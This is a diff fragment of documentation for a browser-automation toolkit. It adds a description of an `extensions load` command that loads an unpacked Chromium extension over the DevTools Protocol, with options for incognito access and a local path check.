+### `extensions load`
+
+Loads an unpacked extension directory through the browser-target CDP command `Extensions.loadUnpacked`. The CDP endpoint must already be open, and the path must be an absolute directory path as seen by the browser host.
+
+By default the command sends `enableInIncognito=false`, matching Chromium's normal unpacked-loader behavior. Add `--enable-incognito` to request incognito access, and `--local-check` when the browser host is the same machine and you want the toolkit to verify the directory exists before sending the CDP command.

+
 ### `page new`
 
 Creates a new browser target through CDP. It can open a visible tab, background tab, hidden target, or an isolated browser context.
